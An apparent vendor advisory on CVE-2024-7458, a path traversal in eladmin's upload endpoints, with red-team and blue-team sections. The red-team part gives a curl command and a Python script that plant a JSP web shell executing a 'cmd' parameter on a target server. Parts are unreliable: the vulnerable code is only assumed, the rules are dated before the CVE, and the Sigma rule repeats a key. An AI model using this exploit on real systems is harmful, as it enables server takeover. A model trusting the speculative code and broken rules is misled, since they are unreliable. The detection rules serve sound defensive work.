CVE-2024-7458

Executive Summary

CVE-2024-7458 is a critical path traversal vulnerability identified in elunez eladmin versions up to 2.7. The flaw resides in the /api/deploy/upload and /api/database/upload endpoints, where the file parameter is not properly sanitized, allowing an attacker to traverse directories using sequences like dir/../../filename. This can lead to unauthorized file upload, overwrite, or disclosure of sensitive files on the server. The vulnerability has been publicly disclosed, and proof-of-concept (PoC) code is available, increasing the risk of exploitation. No official patch has been released, making affected systems highly vulnerable.

Supply Chain & Package Security

This vulnerability affects the eladmin Java-based backend framework, which is distributed via GitHub and Maven. Organizations using eladmin in their supply chain should immediately assess their exposure and consider temporary mitigations until a patch is available.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, the vulnerability is classified as critical based on the nature of path traversal. A typical CVSS vector for such a flaw would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication to access the API endpoints
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): Low (L)

Estimated CVSS Score: 8.1 (High)

Threat Level: High – due to public PoC, lack of patch, and potential for data breach or server compromise.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw. The eladmin application exposes REST API endpoints for deployment and database management. The /api/deploy/upload and /api/database/upload endpoints accept a file parameter that specifies the upload path. Due to insufficient input validation, an attacker can inject path traversal sequences (e.g., ../../etc/passwd) to write files outside the intended upload directory.

Attack Flow:

1. Attacker authenticates to the eladmin application (if authentication is required).
2. Attacker crafts a malicious HTTP request to /api/deploy/upload or /api/database/upload with a file parameter containing path traversal sequences.
3. The server processes the request and writes the uploaded file to the traversed path, potentially overwriting critical system files or uploading a web shell.
4. The attacker can then execute arbitrary code or access sensitive data.

Root Cause: The application fails to normalize or validate the file path before writing, allowing ../ sequences to escape the intended directory.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is assumed to be similar to:

Vulnerable Code (Java):

@PostMapping("/api/deploy/upload")
public String uploadFile(@RequestParam("file") MultipartFile file, @RequestParam("path") String path) {
    String fullPath = uploadDir + "/" + path;
    File dest = new File(fullPath);
    file.transferTo(dest);
    return "success";
}

Patched Code (Hypothetical):

@PostMapping("/api/deploy/upload")
public String uploadFile(@RequestParam("file") MultipartFile file, @RequestParam("path") String path) {
    // Sanitize path to prevent traversal
    String sanitizedPath = path.replaceAll("\\.\\./", "").replaceAll("\\.\\.\\\\", "");
    String fullPath = uploadDir + "/" + sanitizedPath;
    // Validate that the final path is within the upload directory
    File dest = new File(fullPath);
    if (!dest.getCanonicalPath().startsWith(new File(uploadDir).getCanonicalPath())) {
        throw new SecurityException("Invalid path");
    }
    file.transferTo(dest);
    return "success";
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a vulnerable eladmin instance (version <= 2.7)
• Valid credentials (if authentication is required)

Exploit PoC (cURL):

# Upload a file to a traversed path (e.g., web root)
curl -X POST -F "file=@shell.jsp" -F "path=../../webapps/ROOT/shell.jsp" http://target.com/api/deploy/upload

Python Exploit Script:

import requests

target = "http://target.com"
session = requests.Session()
# Authenticate if needed
# session.post(target + "/login", data={"username": "admin", "password": "admin"})

# Upload a web shell
files = {"file": ("shell.jsp", "<%=Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%>", "text/plain")}
data = {"path": "../../webapps/ROOT/shell.jsp"}
response = session.post(target + "/api/deploy/upload", files=files, data=data)
print(response.text)

Metasploit Module (Hypothetical):

# Placeholder for a Metasploit module

Blue Team (Defensive)

Detection:

• Monitor for unusual file upload requests containing ../ or ..\\ in the path parameter.
• Alert on attempts to write files to directories outside the expected upload path (e.g., /etc/, /webapps/).

Honeypot:

• Deploy a fake upload endpoint that logs all requests and triggers alerts on path traversal attempts.

Lab Setup:

1. Deploy a vulnerable eladmin instance using Docker:

   docker run -d -p 8080:8080 elunez/eladmin:2.7
   

2. Access the application and test the exploit.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /api/deploy/upload or /api/database/upload with path parameter containing ../ or ..\\
• Unusual file extensions in uploads (e.g., .jsp, .php, .war)
• Outbound connections from the server to unknown IPs (if web shell is used)

File System IOCs:

• Unexpected files in web-accessible directories (e.g., shell.jsp, cmd.jsp)
• Modified system files (e.g., /etc/passwd, /etc/shadow)
• New cron jobs or startup scripts

Log IOCs:

• Application logs showing path traversal patterns in the path parameter
• Web server logs with 200 responses to suspicious upload requests

Detection Engineering

YARA Rule

rule CVE_2024_7458_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in HTTP requests to eladmin upload endpoints"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-7458"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint1 = "/api/deploy/upload"
        $endpoint2 = "/api/database/upload"
    condition:
        any of ($endpoint*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-7458 Path Traversal in eladmin Upload Endpoints
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in HTTP requests to eladmin upload endpoints
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7458
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/api/deploy/upload'
            - '/api/database/upload'
        cs-uri-query|contains:
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7458 Path Traversal in eladmin Upload Endpoints"; flow:to_server,established; content:"POST"; http_method; content:"/api/deploy/upload"; http_uri; content:"../"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoints if not required: Block access to /api/deploy/upload and /api/database/upload via web application firewall (WAF) or reverse proxy.
2. Apply input validation manually: If you have access to the source code, implement path sanitization as shown in the patched code example.
3. Restrict file upload permissions: Ensure the application runs with minimal privileges and cannot write to sensitive directories.

Long-term Fix:

• Wait for an official patch from the vendor. Monitor the eladmin GitHub repository for updates.
• Consider migrating to an alternative framework if no patch is provided.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/api/(deploy|database)/upload" "phase:1,id:1000002,deny,status:403,msg:'CVE-2024-7458 Path Traversal Attempt',chain"
SecRule ARGS:path "@contains ../" "t:urlDecode"

Valters IT
Securing Digital Frontiers